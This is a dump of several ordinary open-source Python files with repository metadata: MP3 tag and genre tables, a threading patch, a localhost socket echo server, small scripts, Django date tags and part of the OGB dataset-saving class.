codes',\n 'TAL': 'Album/Movie/Show title',\n 'TBP': 'BPM (Beats Per Minute)',\n 'TCM': 'Composer',\n 'TCO': 'Content type',\n 'TCR': 'Copyright message',\n 'TDA': 'Date',\n 'TDY': 'Playlist delay',\n 'TEN': 'Encoded by',\n 'TFT': 'File type',\n 'TIM': 'Time',\n 'TKE': 'Initial key',\n 'TLA': 'Language(s)',\n 'TLE': 'Length',\n 'TMT': 'Media type',\n 'TOA': 'Original artist(s)/performer(s)',\n 'TOF': 'Original filename',\n 'TOL': 'Original Lyricist(s)/text writer(s)',\n 'TOR': 'Original release year',\n 'TOT': 'Original album/Movie/Show title',\n 'TP1': ('Lead artist(s)/Lead performer(s)'\n '/Soloist(s)/Performing group'),\n 'TP2': 'Band/Orchestra/Accompaniment',\n 'TP3': 'Conductor/Performer refinement',\n 'TP4': 'Interpreted, remixed, or otherwise modified by',\n 'TPA': 'Part of a set',\n 'TPB': 'Publisher',\n 'TRC': 'ISRC (International Standard Recording Code)',\n 'TRD': 'Recording dates',\n 'TRK': 'Track number/Position in set',\n 'TSI': 'Size',\n 'TSS': 'Software/hardware and settings used for encoding',\n 'TT1': 'Content group description',\n 'TT2': 'Title/Songname/Content description',\n 'TT3': 'Subtitle/Description refinement',\n 'TXT': 'Lyricist/text writer',\n 'TXX': 'User defined text information frame',\n 'TYE': 'Year',\n 'UFI': 'Unique file identifier',\n 'ULT': 'Unsychronized lyric/text transcription',\n 'WAF': 'Official audio file webpage',\n 'WAR': 'Official artist/performer webpage',\n 'WAS': 'Official audio source webpage',\n 'WCM': 'Commercial information',\n 'WCP': 'Copyright/Legal information',\n 'WPB': 'Publishers official webpage',\n 'WXX': 'User defined URL link frame'}\n\ngenres =\\\n {0:\t 'Blues',\n 1:\t 'Classic Rock',\n 2:\t 'Country',\n 3:\t 'Dance',\n 4:\t 'Disco',\n 5:\t 'Funk',\n 6:\t 'Grunge',\n 7:\t 'Hip-Hop',\n 8:\t 'Jazz',\n 9:\t 'Metal',\n 10:\t'New Age',\n 11:\t'Oldies',\n 12:\t'Other',\n 13:\t'Pop',\n 14:\t'Rhythm and Blues',\n 15:\t'Rap',\n 16:\t'Reggae',\n 17:\t'Rock',\n 18:\t'Techno',\n 19:\t'Industrial',\n 20:\t'Alternative',\n 21:\t'Ska',\n 22:\t'Death Metal',\n 23:\t'Pranks',\n 24:\t'Soundtrack',\n 25:\t'Euro-Techno',\n 26:\t'Ambient',\n 27:\t'Trip-Hop',\n 28:\t'Vocal',\n 29:\t'Jazz & Funk',\n 30:\t'Fusion',\n 31:\t'Trance',\n 32:\t'Classical',\n 33:\t'Instrumental',\n 34:\t'Acid',\n 35:\t'House',\n 36:\t'Game',\n 37:\t'Sound Clip',\n 38:\t'Gospel',\n 39:\t'Noise',\n 40:\t'Alternative Rock',\n 41:\t'Bass',\n 42:\t'Soul',\n 43:\t'Punk',\n 44:\t'Space',\n 45:\t'Meditative',\n 46:\t'Instrumental Pop',\n 47:\t'Instrumental Rock',\n 48:\t'Ethnic',\n 49:\t'Gothic',\n 50:\t'Darkwave',\n 51:\t'Techno-Industrial',\n 52:\t'Electronic',\n 53:\t'Pop-Folk',\n 54:\t'Eurodance',\n 55:\t'Dream',\n 56:\t'Southern Rock',\n 57:\t'Comedy',\n 58:\t'Cult',\n 59:\t'Gangsta',\n 60:\t'Top 40',\n 61:\t'Christian Rap',\n 62:\t'Pop/Funk',\n 63:\t'Jungle',\n 64:\t'Native US',\n 65:\t'Cabaret',\n 66:\t'New Wave',\n 67:\t'Psychedelic',\n 68:\t'Rave',\n 69:\t'Showtunes',\n 70:\t'Trailer',\n 71:\t'Lo-Fi',\n 72:\t'Tribal',\n 73:\t'Acid Punk',\n 74:\t'Acid Jazz',\n 75:\t'Polka',\n 76:\t'Retro',\n 77:\t'Musical',\n 78:\t'Rock ’n’ Roll',\n 79:\t'Hard Rock',\n 80:\t'Folk',\n 81:\t'Folk-Rock',\n 82:\t'National Folk',\n 83:\t'Swing',\n 84:\t'Fast Fusion',\n 85:\t'Bebop',\n 86:\t'Latin',\n 87:\t'Revival',\n 88:\t'Celtic',\n 89:\t'Bluegrass',\n 90:\t'Avantgarde',\n 91:\t'Gothic Rock',\n 92:\t'Progressive Rock',\n 93:\t'Psychedelic Rock',\n 94:\t'Symphonic Rock',\n 95:\t'Slow Rock',\n 96:\t'Big Band',\n 97:\t'Chorus',\n 98:\t'Easy Listening',\n 99:\t'Acoustic',\n 100:\t'Humour',\n 101:\t'Speech',\n 102:\t'Chanson',\n 103:\t'Opera',\n 104:\t'Chamber Music',\n 105:\t'Sonata',\n 106:\t'Symphony',\n 107:\t'Booty Bass',\n 108:\t'Primus',\n 109:\t'Porn Groove',\n 110:\t'Satire',\n 111:\t'Slow Jam',\n 112:\t'Club',\n 113:\t'Tango',\n 114:\t'Samba',\n 115:\t'Folklore',\n 116:\t'Ballad',\n 117:\t'Power Ballad',\n 118:\t'Rhythmic Soul',\n 119:\t'Freestyle',\n 120:\t'Duet',\n 121:\t'Punk Rock',\n 122:\t'Drum Solo',\n 123:\t'A cappella',\n 124:\t'Euro-House',\n 125:\t'Dance Hall',\n 126:\t'Goa',\n 127:\t'Drum & Bass',\n 128:\t'Club-House',\n 129:\t'Hardcore Techno',\n 130:\t'Terror',\n 131:\t'Indie',\n 132:\t'BritPop',\n 133:\t'Negerpunk',\n 134:\t'Polsk Punk',\n 135:\t'Beat',\n 136:\t'Christian Gangsta Rap',\n 137:\t'Heavy Metal',\n 138:\t'Black Metal',\n 139:\t'Crossover',\n 140:\t'Contemporary Christian',\n 141:\t'Christian Rock',\n 142:\t'Merengue',\n 143:\t'Salsa',\n 144:\t'Thrash Metal',\n 145:\t'Anime',\n 146:\t'Jpop',\n 147:\t'Synthpop',\n 148:\t'Abstract',\n 149:\t'Art Rock',\n 150:\t'Baroque',\n 151:\t'Bhangra',\n 152:\t'Big Beat',\n 153:\t'Breakbeat',\n 154:\t'Chillout',\n 155:\t'Downtempo',\n 156:\t'Dub',\n 157:\t'EBM',\n 158:\t'Eclectic',\n 159:\t'Electro',\n 160:\t'Electroclash',\n 161:\t'Emo',\n 162:\t'Experimental',\n 163:\t'Garage',\n 164:\t'Global',\n 165:\t'IDM',\n 166:\t'Illbient',\n 167:\t'Industro-Goth',\n 168:\t'Jam Band',\n 169:\t'Krautrock',\n 170:\t'Leftfield',\n 171:\t'Lounge',\n 172:\t'Math Rock',\n 173:\t'New Romantic',\n 174:\t'Nu-Breakz',\n 175:\t'Post-Punk',\n 176:\t'Post-Rock',\n 177:\t'Psytrance',\n 178:\t'Shoegaze',\n 179:\t'Space Rock',\n 180:\t'Trop Rock',\n 181:\t'World Music',\n 182:\t'Neoclassical',\n 183:\t'Audiobook',\n 184:\t'Audio Theatre',\n 185:\t'Neue Deutsche Welle',\n 186:\t'Podcast',\n 187:\t'Indie-Rock',\n 188:\t'G-Funk',\n 189:\t'Dubstep',\n 190:\t'Garage Rock',\n 191:\t'Psybient'}\n\nscalefac_compress =\\\n {0: (0, 0),\n 1: (0, 1),\n 2: (0, 2),\n 3: (0, 3),\n 4: (3, 0),\n 5: (1, 1),\n 6: (1, 2),\n 7: (1, 3),\n 8: (2, 1),\n 9: (2, 2),\n 10: (2, 3),\n 11: (3, 1),\n 12: (3, 2),\n 13: (3, 3),\n 14: (4, 2),\n 15: (4, 3)}\n\nblock_type =\\\n {'00': 'forbidden',\n '01': 'start',\n '10': '3 short windows',\n '11': 'end'}\n\ninterpolation_method = {0: 'Band', 1: 'Linear'}\n\nevents =\\\n {0: 'padding (has no meaning)',\n 1: 'end of initial silence',\n 2: 'intro start',\n 3: 'mainpart start',\n 4: 'outro start',\n 5: 'outro end',\n 6: 'verse start',\n 7: 'refrain start',\n 8: 'interlude start',\n 9: 'theme start',\n 10: 'variation start',\n 11: 'key change',\n 12: 'time change',\n 13: 'momentary unwanted noise (Snap, Crackle & Pop)',\n 14: 'sustained noise',\n 15: 'sustained noise end',\n 16: 'intro end',\n 17: 'mainpart end',\n 18: 'verse end',\n 19: 'refrain end',\n 20: 'theme end',\n 224: 'not predefined sync 0-F',\n 225: 'not predefined sync 0-F',\n 226: 'not predefined sync 0-F',\n 227: 'not predefined sync 0-F',\n 228: 'not predefined sync 0-F',\n 229: 'not predefined sync 0-F',\n 230: 'not predefined sync 0-F',\n 231: 'not predefined sync 0-F',\n 232: 'not predefined sync 0-F',\n 233: 'not predefined sync 0-F',\n 234: 'not predefined sync 0-F',\n 235: 'not predefined sync 0-F',\n 236: 'not predefined sync 0-F',\n 237: 'not predefined sync 0-F',\n 238: 'not predefined sync 0-F',\n 239: 'not predefined sync 0-F',\n 253: 'audio end (start of silence)',\n 254: 'audio file ends',\n 255: 'one more byte of events follows'}\n\nchannel_type =\\\n {0: 'Other',\n 1: 'Master volume',\n 2: 'Front right',\n 3: 'Front left',\n 4: 'Back right',\n 5: 'Back left',\n 6: 'Front centre',\n 7: 'Back centre',\n 8: 'Subwoofer'}\n\nscale_band_indicies = {\n 44100: {\n 'L': [0, 4, 8, 12, 16, 20, 24, 30, 36, 44, 52, 62, 74, 90, 110,\n 134, 162, 196, 238, 288, 342, 418, 576],\n 'S': [0, 4, 8, 12, 16, 22, 30, 40, 52, 66, 84, 106, 136, 192],\n },\n 48000: {\n 'L': [0, 4, 8, 12, 16, 20, 24, 30, 36, 42, 50, 60, 72, 88, 106,\n 128, 156, 190, 230, 276, 330, 384, 576],\n 'S': [0, 4, 8, 12, 16, 22, 28, 38, 50, 64, 80, 100, 126, 192],\n },\n 32000: {\n 'L': [0, 4, 8, 12, 16, 20, 24, 30, 36, 44, 54, 66, 82, 102, 126,\n 156, 194, 240, 296, 364, 448, 550, 576],\n 'S': [0, 4, 8, 12, 16, 22, 30, 42, 58, 78, 104, 138, 180, 192],\n },\n }\n","repo_name":"through-doubts/mp3","sub_path":"mp3/util/information.py","file_name":"information.py","file_ext":"py","file_size_in_byte":16220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41650729930","text":"import threading\nfrom threading import _active_limbo_lock, _active, _sys\n\n\ndebugger = False\ntry:\n # noinspection PyUnresolvedReferences\n import pydevd\n debugger = pydevd.GetGlobalDebugger()\nexcept ImportError:\n pass\n\nif not debugger:\n # see http://bugs.python.org/issue1596321\n if hasattr(threading.Thread, '_Thread__delete'):\n def _delete(self):\n try:\n with _active_limbo_lock:\n del _active[self._Thread__ident]\n except KeyError:\n if 'dummy_threading' not in _sys.modules:\n raise\n\n threading.Thread._Thread__delete = _delete\n else:\n def _delete(self): # NOQA\n try:\n with _active_limbo_lock:\n del _active[self._ident]\n except KeyError:\n if 'dummy_threading' not in _sys.modules:\n raise\n\n threading.Thread._delete = _delete\n","repo_name":"circus-tent/circus","sub_path":"circus/_patch.py","file_name":"_patch.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":1537,"dataset":"github-code","pt":"70"} +{"seq_id":"24034336884","text":"import socket\n\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nserver_addr = ('localhost', 8000)\nserver_socket.bind(server_addr)\nserver_socket.listen()\n \ntry:\n connection, client_addr = server_socket.accept()\n print(f'i got a connection from {client_addr}')\n buffer = b''\n while buffer[-2:] != b'\\r\\n':\n data = connection.recv(2)\n if not data:\n break\n else:\n print(f'data is {data}')\n buffer += data\n print(f'all the data is: {buffer}')\n connection.sendall(b'hello '+buffer)\nfinally:\n server_socket.close()\n","repo_name":"micele00l/concurrent_with_asyncio_learn","sub_path":"chp3/code32.py","file_name":"code32.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"30359546234","text":"class Livro:\n def __init__(self, titulo, autor, preco):\n self.titulo = titulo\n self.autor = autor\n self.preco = preco\n\n def exibir_dados(self):\n print('Título: ', self.titulo)\n print('Autor: ', self.autor)\n print('Preço: ', self.preco)\n\n\nmeu_livro = Livro('Harry Potter', 'J. K. Rowling', 20)\nmeu_livro.exibir_dados()\n\nmeu_livro.preco = 19.0\nmeu_livro.exibir_dados()\n\nprint('O autor do livro é: ', meu_livro.autor)\n\noutro_livro = Livro('Senhor dos Anéis', '', 30)\noutro_livro.exibir_dados()\n","repo_name":"Anna-Beatriz/lp2","sub_path":"classes2.py","file_name":"classes2.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"2550546975","text":"import csv\nimport sys\nsys.path.insert(0, '../')\n\nn_gram_filter = list()\ndef read_n_gram():\n with open(\"design-date-spec-ngram.txt\", mode='r') as csvfile:\n reader = csv.reader(csvfile, delimiter='\\t', quotechar='|')\n for row in reader:\n words = row[5].strip()\n term = tuple(row[5].strip().split(' '))\n # global term frequency greater than 1\n if int(row[2]) <= 1:\n #print(row[5])\n continue\n n_gram_filter.append(row)\n \ndef write_n_gram():\n with open(\"design-date-spec-filter-ngram.txt\",mode='w+') as csvfile:\n writer = csv.writer(csvfile,delimiter='\\t', quotechar='|')\n# for row in n_gram_filter[project+classified]:\n# text = row[0]+\"\\t\"+row[1]+\"\\t\"+row[2]+\"\\t\"+row[3]+\"\\t\"+row[4]+\"\\t\"+row[5]\n writer.writerows(n_gram_filter)\n \nread_n_gram()\nprint(len(n_gram_filter))\nwrite_n_gram()\n#for i in n_gram_filter:\n# print(n_gram_filter[i][0])","repo_name":"supatsara-wat/Self-Admitted-Technical-Debt-Identification","sub_path":"filter-ngram.py","file_name":"filter-ngram.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23425414873","text":"import sys\nimport json\n\njsonFile = sys.argv[1]\ndataset = jsonFile.split(\".\")[0]\n\nfile = open(jsonFile, \"r\")\njsonData = json.loads(file.read())\nfile.close()\n\ndistances = []\n\nexperimentIndex = 0\n\nfor originalObject in jsonData.keys():\n if(not \".obj\" in originalObject): continue\n for comparisonObject in jsonData[originalObject].keys():\n for distance in jsonData[originalObject][comparisonObject][\"noiseFloors\"]:\n distances.append({\n \"originalObject\": originalObject, \n \"comparisonObject\": comparisonObject, \n \"distance\": distance, \n \"experimentIndex\": experimentIndex, \n \"vertexCount\": len(jsonData[originalObject][comparisonObject][\"noiseFloors\"])})\n \n experimentIndex += 1\n\ndistancesCSV = open(\"3DSC\" + \"_vertex_distances.csv\", \"w\")\ndistancesCSV.write(\"originalObject,comparisonObject,distance,experimentIndex,vertexCount\\n\")\nfor row in distances:\n distancesCSV.write(row[\"originalObject\"] + \",\" + row[\"comparisonObject\"] + \",\" + str(row[\"distance\"]) + \",\" + str(row[\"experimentIndex\"]) + \",\" + str(row[\"vertexCount\"]) + \"\\n\")\ndistancesCSV.close()\n","repo_name":"masteroppgaven/Benchmark","sub_path":"noiseJsonToCsv.py","file_name":"noiseJsonToCsv.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"29330930591","text":"from django import template\nfrom django.contrib.humanize.templatetags.humanize import ordinal\nfrom django.utils.safestring import mark_safe\n\nregister = template.Library()\n\n\n@register.simple_tag\ndef render_date(wss):\n def day_with_ordinal(day):\n ord = ordinal(day)\n return '{}{}'.format(ord[:-2], ord[-2:])\n\n if wss.start_date.year == wss.end_date.year:\n if wss.start_date.month == wss.end_date.month:\n format_dict = {\n 'month': str(wss.start_date.strftime(\"%B\")).upper(),\n 'start_day': day_with_ordinal(wss.start_date.day),\n 'end_day': day_with_ordinal(wss.end_date.day),\n 'year': wss.start_date.year,\n }\n return mark_safe('{month} {start_day} - {end_day}, {year}'.format(**format_dict))\n else:\n format_dict = {\n 'start_month': str(wss.start_date.strftime(\"%B\")).upper(),\n 'start_day': day_with_ordinal(wss.start_date.day),\n 'end_month': str(wss.end_date.strftime(\"%B\")).upper(),\n 'end_day': day_with_ordinal(wss.end_date.day),\n 'year': wss.start_date.year,\n }\n return mark_safe(\n '{start_month} {start_day} - {end_month} {end_day}, {year}'.format(**format_dict))\n else:\n format_dict = {\n 'start_year': wss.start_date.year,\n 'start_month': str(wss.start_date.strftime(\"%B\")).upper(),\n 'start_day': day_with_ordinal(wss.start_date.day),\n 'end_year': wss.end_date.year,\n 'end_month': str(wss.end_date.strftime(\"%B\")).upper(),\n 'end_day': day_with_ordinal(wss.end_date.day),\n }\n return mark_safe(\n '{start_month} {start_day} {start_year} - {end_month} {end_day} {end_year}'.format(\n **format_dict))\n\n\n@register.simple_tag\ndef date_string(date):\n return date.strftime('%A, %d %B %Y')\n\n\n@register.simple_tag\ndef time_string(date):\n return date.strftime('%H:%M')\n","repo_name":"Kianoosh76/WSS-site","sub_path":"WSS/templatetags/date_tags.py","file_name":"date_tags.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"37909305613","text":"import torch\nimport pandas as pd\nimport os\nimport os.path as osp\nfrom datetime import date\nimport shutil\nfrom tqdm.auto import tqdm\nimport numpy as np\nfrom ogb.io.read_graph_raw import read_binary_graph_raw, read_binary_heterograph_raw\nfrom ogb.utils.torch_util import all_numpy\n\nclass DatasetSaver(object):\n '''\n A class for saving graphs and split in OGB-compatible manner\n Create submission_datasetname/ directory, and output the following two files:\n - datasetname.zip (OGB-compatible zipped dataset folder)\n - meta_dict.pt (torch files storing all the necessary dataset meta-information)\n '''\n def __init__(self, dataset_name, is_hetero, version, root = 'submission'):\n # verify input\n if not ('ogbn-' in dataset_name or 'ogbl-' in dataset_name or 'ogbg-' in dataset_name):\n raise ValueError('Dataset name must have valid ogb prefix (e.g., ogbn-*).')\n if not isinstance(is_hetero, bool):\n raise ValueError('is_hetero must be of type bool.')\n if not (isinstance(version, int) and version >= 0):\n raise ValueError('version must be of type int and non-negative')\n\n self.dataset_name = dataset_name\n\n self.is_hetero = is_hetero\n self.version = version\n self.root = root\n self.dataset_prefix = dataset_name.split('-')[0] # specify the task category\n self.dataset_suffix = '_'.join(dataset_name.split('-')[1:])\n self.submission_dir = self.root + '_' + self.dataset_prefix + '_' + self.dataset_suffix\n self.dataset_dir = osp.join(self.submission_dir, self.dataset_suffix) \n self.meta_dict_path = osp.join(self.submission_dir, 'meta_dict.pt')\n \n if self.dataset_prefix == 'ogbg' and self.is_hetero:\n raise NotImplementedError('Heterogeneous graph dataset object has not been implemented for graph property prediction yet.')\n\n if osp.exists(self.dataset_dir):\n if input(f'Found an existing submission directory at {self.submission_dir}/. \\nWill you remove it? (y/N)\\n').lower() == 'y':\n shutil.rmtree(self.submission_dir)\n print('Removed existing submission directory')\n else:\n print('Process stopped.')\n exit(-1)\n\n\n # make necessary dirs\n self.raw_dir = osp.join(self.dataset_dir, 'raw')\n os.makedirs(self.raw_dir, exist_ok=True)\n os.makedirs(osp.join(self.dataset_dir, 'processed'), exist_ok=True)\n\n # create release note\n with open(osp.join(self.dataset_dir, f'RELEASE_v{version}.txt'), 'w') as fw:\n fw.write(f'# Release note for {self.dataset_name}\\n\\n### v{version}: {date.today()}')\n\n # check list\n self._save_graph_list_done = False\n self._save_split_done = False\n self._copy_mapping_dir_done = False\n\n if 'ogbl' == self.dataset_prefix:\n self._save_target_labels_done = True # for ogbl, we do not need to give predicted labels\n else:\n self._save_target_labels_done = False # for ogbn and ogbg, need to give predicted labels\n \n self._save_task_info_done = False\n self._get_meta_dict_done = False\n self._zip_done = False\n\n def _save_graph_list_hetero(self, graph_list):\n dict_keys = graph_list[0].keys()\n # check necessary keys\n if not 'edge_index_dict' in dict_keys:\n raise RuntimeError('edge_index_dict needs to be provided in graph objects')\n if not 'num_nodes_dict' in dict_keys:\n raise RuntimeError('num_nodes_dict needs to be provided in graph objects')\n\n print(dict_keys)\n\n # Store the following files\n # - edge_index_dict.npz (necessary)\n # edge_index_dict\n # - num_nodes_dict.npz (necessary)\n # num_nodes_dict\n # - num_edges_dict.npz (necessary)\n # num_edges_dict\n # - node_**.npz (optional, node_feat_dict is the default node features)\n # - edge_**.npz (optional, edge_feat_dict the default edge features)\n \n # extract entity types\n ent_type_list = sorted([e for e in graph_list[0]['num_nodes_dict'].keys()])\n\n # saving num_nodes_dict\n print('Saving num_nodes_dict')\n num_nodes_dict = {}\n for ent_type in ent_type_list:\n num_nodes_dict[ent_type] = np.array([graph['num_nodes_dict'][ent_type] for graph in graph_list]).astype(np.int64)\n np.savez_compressed(osp.join(self.raw_dir, 'num_nodes_dict.npz'), **num_nodes_dict)\n \n print(num_nodes_dict)\n\n # extract triplet types\n triplet_type_list = sorted([(h, r, t) for (h, r, t) in graph_list[0]['edge_index_dict'].keys()])\n print(triplet_type_list)\n\n # saving edge_index_dict\n print('Saving edge_index_dict')\n num_edges_dict = {}\n edge_index_dict = {}\n for triplet in triplet_type_list:\n # representing triplet (head, rel, tail) as a single string 'head___rel___tail'\n triplet_cat = '___'.join(triplet)\n edge_index = np.concatenate([graph['edge_index_dict'][triplet] for graph in graph_list], axis = 1).astype(np.int64)\n if edge_index.shape[0] != 2:\n raise RuntimeError('edge_index must have shape (2, num_edges)')\n\n num_edges = np.array([graph['edge_index_dict'][triplet].shape[1] for graph in graph_list]).astype(np.int64)\n num_edges_dict[triplet_cat] = num_edges\n edge_index_dict[triplet_cat] = edge_index\n\n print(edge_index_dict)\n print(num_edges_dict)\n\n np.savez_compressed(osp.join(self.raw_dir, 'edge_index_dict.npz'), **edge_index_dict)\n np.savez_compressed(osp.join(self.raw_dir, 'num_edges_dict.npz'), **num_edges_dict)\n\n for key in dict_keys:\n if key == 'edge_index_dict' or key == 'num_nodes_dict':\n continue \n if graph_list[0][key] is None:\n continue\n\n print(f'Saving {key}')\n\n feat_dict = {}\n\n if 'node_' in key:\n # node feature dictionary\n for ent_type in graph_list[0][key].keys():\n if ent_type not in num_nodes_dict:\n raise RuntimeError(f'Encountered unknown entity type called {ent_type}.')\n \n # check num_nodes\n for i in range(len(graph_list)):\n if len(graph_list[i][key][ent_type]) != num_nodes_dict[ent_type][i]:\n raise RuntimeError(f'num_nodes mistmatches with {key}[{ent_type}]')\n \n # make sure saved in np.int64 or np.float32\n dtype = np.int64 if 'int' in str(graph_list[0][key][ent_type].dtype) else np.float32\n cat_feat = np.concatenate([graph[key][ent_type] for graph in graph_list], axis = 0).astype(dtype)\n feat_dict[ent_type] = cat_feat\n \n elif 'edge_' in key:\n # edge feature dictionary\n for triplet in graph_list[0][key].keys():\n # representing triplet (head, rel, tail) as a single string 'head___rel___tail'\n triplet_cat = '___'.join(triplet)\n if triplet_cat not in num_edges_dict:\n raise RuntimeError(f\"Encountered unknown triplet type called ({','.join(triplet)}).\")\n\n # check num_edges\n for i in range(len(graph_list)):\n if len(graph_list[i][key][triplet]) != num_edges_dict[triplet_cat][i]:\n raise RuntimeError(f\"num_edges mismatches with {key}[({','.join(triplet)})]\")\n\n # make sure saved in np.int64 or np.float32\n dtype = np.int64 if 'int' in str(graph_list[0][key][triplet].dtype) else np.float32\n cat_feat = np.concatenate([graph[key][triplet] for graph in graph_list], axis = 0).astype(dtype)\n feat_dict[triplet_cat] = cat_feat\n\n else:\n raise RuntimeError(f'Keys in graph object should start from either \\'node_\\' or \\'edge_\\', but \\'{key}\\' given.')\n\n np.savez_compressed(osp.join(self.raw_dir, f'{key}.npz'), **feat_dict)\n\n print('Validating...')\n # testing\n print('Reading saved files')\n graph_list_read = read_binary_heterograph_raw(self.raw_dir, False)\n\n print('Checking read graphs and given graphs are the same')\n for i in tqdm(range(len(graph_list))):\n for key0, value0 in graph_list[i].items():\n if value0 is not None:\n for key1, value1 in value0.items():\n if isinstance(graph_list[i][key0][key1], np.ndarray):\n assert(np.allclose(graph_list[i][key0][key1], graph_list_read[i][key0][key1], rtol=1e-04, atol=1e-04, equal_nan=True))\n else:\n assert(graph_list[i][key0][key1] == graph_list_read[i][key0][key1])\n\n del graph_list_read\n\n\n def _save_graph_list_homo(self, graph_list): \n dict_keys = graph_list[0].keys()\n # check necessary keys\n if not 'edge_index' in dict_keys:\n raise RuntimeError('edge_index needs to be provided in graph objects')\n if not 'num_nodes' in dict_keys:\n raise RuntimeError('num_nodes needs to be provided in graph objects')\n\n print(dict_keys)\n\n data_dict = {}\n # Store the following keys\n # - edge_index (necessary)\n # - num_nodes_list (necessary)\n # - num_edges_list (necessary)\n # - node_** (optional, node_feat is the default node features)\n # - edge_** (optional, edge_feat is the default edge features)\n\n # saving num_nodes_list\n num_nodes_list = np.array([graph['num_nodes'] for graph in graph_list]).astype(np.int64)\n data_dict['num_nodes_list'] = num_nodes_list\n\n # saving edge_index and num_edges_list\n print('Saving edge_index')\n edge_index = np.concatenate([graph['edge_index'] for graph in graph_list], axis = 1).astype(np.int64)\n num_edges_list = np.array([graph['edge_index'].shape[1] for graph in graph_list]).astype(np.int64)\n\n if edge_index.shape[0] != 2:\n raise RuntimeError('edge_index must have shape (2, num_edges)')\n\n data_dict['edge_index'] = edge_index\n data_dict['num_edges_list'] = num_edges_list\n\n for key in dict_keys:\n if key == 'edge_index' or key == 'num_nodes':\n continue \n if graph_list[0][key] is None:\n continue\n\n if 'node_' == key[:5]:\n # make sure saved in np.int64 or np.float32\n dtype = np.int64 if 'int' in str(graph_list[0][key].dtype) else np.float32\n # check num_nodes\n for i in range(len(graph_list)):\n if len(graph_list[i][key]) != num_nodes_list[i]:\n raise RuntimeError(f'num_nodes mistmatches with {key}')\n\n cat_feat = np.concatenate([graph[key] for graph in graph_list], axis = 0).astype(dtype)\n data_dict[key] = cat_feat\n\n elif 'edge_' == key[:5]:\n # make sure saved in np.int64 or np.float32\n dtype = np.int64 if 'int' in str(graph_list[0][key].dtype) else np.float32\n # check num_edges\n for i in range(len(graph_list)):\n if len(graph_list[i][key]) != num_edges_list[i]:\n raise RuntimeError(f'num_edges mistmatches with {key}')\n\n cat_feat = np.concatenate([graph[key] for graph in graph_list], axis = 0).astype(dtype)\n data_dict[key] = cat_feat\n\n else:\n raise RuntimeError(f'Keys in graph object should start from either \\'node_\\' or \\'edge_\\', but \\'{key}\\' given.')\n\n print('Saving all the files!')\n np.savez_compressed(osp.join(self.raw_dir, 'data.npz'), **data_dict)\n print('Validating...')\n # testing\n print('Reading saved files')\n graph_list_read = read_binary_graph_raw(self.raw_dir, False)\n\n print('Checking read graphs and given graphs are the same')\n for i in tqdm(range(len(graph_list))):\n # assert(graph_list[i].keys() == graph_list_read[i].keys())\n for key in graph_list[i].keys():\n if graph_list[i][key] is not None:\n if isinstance(graph_list[i][key], np.ndarray):\n assert(np.allclose(graph_list[i][key], graph_list_read[i][key], rtol=1e-4, atol=1e-4, equal_nan=True))\n else:\n assert(graph_list[i][key] == graph_list_read[i][key])\n\n del graph_list_read\n\n def save_task_info(self, task_type, eval_metric, num_classes = None):\n '''\n task_type (str): For ogbg and ogbn, either classification or regression.\n eval_metric (str): the metric\n if task_type is 'classification', num_classes must be given.\n '''\n\n if self.dataset_prefix == 'ogbn' or self.dataset_prefix == 'ogbg':\n if not ('classification' in task_type or 'regression' in task_type):\n raise ValueError(f'task type must contain eighther classification or regression, but {task_type} given')\n\n self.task_type = task_type\n\n print(self.task_type)\n print(num_classes)\n \n if 'classification' in self.task_type:\n if not (isinstance(num_classes, int) and num_classes > 1):\n raise ValueError(f'num_classes must be an integer larger than 1, {num_classes} given.')\n self.num_classes = num_classes\n else:\n self.num_classes = -1 # in the case of regression, just set to -1\n\n self.eval_metric = eval_metric\n\n self._save_task_info_done = True\n\n def save_target_labels(self, target_labels):\n '''\n target_label (numpy.narray): storing target labels. Shape must be (num_data, num_tasks)\n '''\n\n if self.dataset_prefix == 'ogbl':\n raise RuntimeError('ogbl link prediction dataset does not need to call save_target_labels')\n \n if not self._save_graph_list_done:\n raise RuntimeError('save_graph_list must be done beforehand.')\n\n if self.is_hetero:\n if not (isinstance(target_labels, dict) and len(target_labels) == 1):\n raise ValueError(f'target label must be of dictionary type with single key')\n\n key = list(target_labels.keys())[0]\n \n if key not in self.num_data:\n raise ValueError(f'Unknown entity type called {key}.')\n\n if len(target_labels[key]) != self.num_data[key]:\n raise RuntimeError(f'The length of target_labels ({len(target_labels[key])}) must be the same as the number of data points ({self.num_data[key]}).')\n\n if self.dataset_prefix == 'ogbg':\n raise NotImplementedError('hetero graph for graph-level prediction has not been implemented yet.')\n elif self.dataset_prefix == 'ogbn':\n np.savez_compressed(osp.join(self.raw_dir, 'node-label.npz'), **target_labels)\n\n self.num_tasks = target_labels[key].shape[1]\n\n\n else:\n # check type and shape\n if not isinstance(target_labels, np.ndarray):\n raise ValueError(f'target label must be of type np.ndarray')\n\n if len(target_labels) != self.num_data:\n raise RuntimeError(f'The length of target_labels ({len(target_labels)}) must be the same as the number of data points ({self.num_data}).')\n\n if self.dataset_prefix == 'ogbg':\n np.savez_compressed(osp.join(self.raw_dir, 'graph-label.npz'), graph_label = target_labels)\n elif self.dataset_prefix == 'ogbn':\n np.savez_compressed(osp.join(self.raw_dir, 'node-label.npz'), node_label = target_labels)\n\n self.num_tasks = target_labels.shape[1]\n\n self._save_target_labels_done = True\n\n def save_graph_list(self, graph_list):\n if not all_numpy(graph_list):\n raise RuntimeError('graph_list must only contain list/dict of numpy arrays, int, or float')\n\n if self.dataset_prefix == 'ogbn' or self.dataset_prefix == 'ogbl':\n if len(graph_list) > 1:\n raise RuntimeError('Multiple graphs not supported for node/link property prediction.')\n\n if self.is_hetero:\n self._save_graph_list_hetero(graph_list)\n 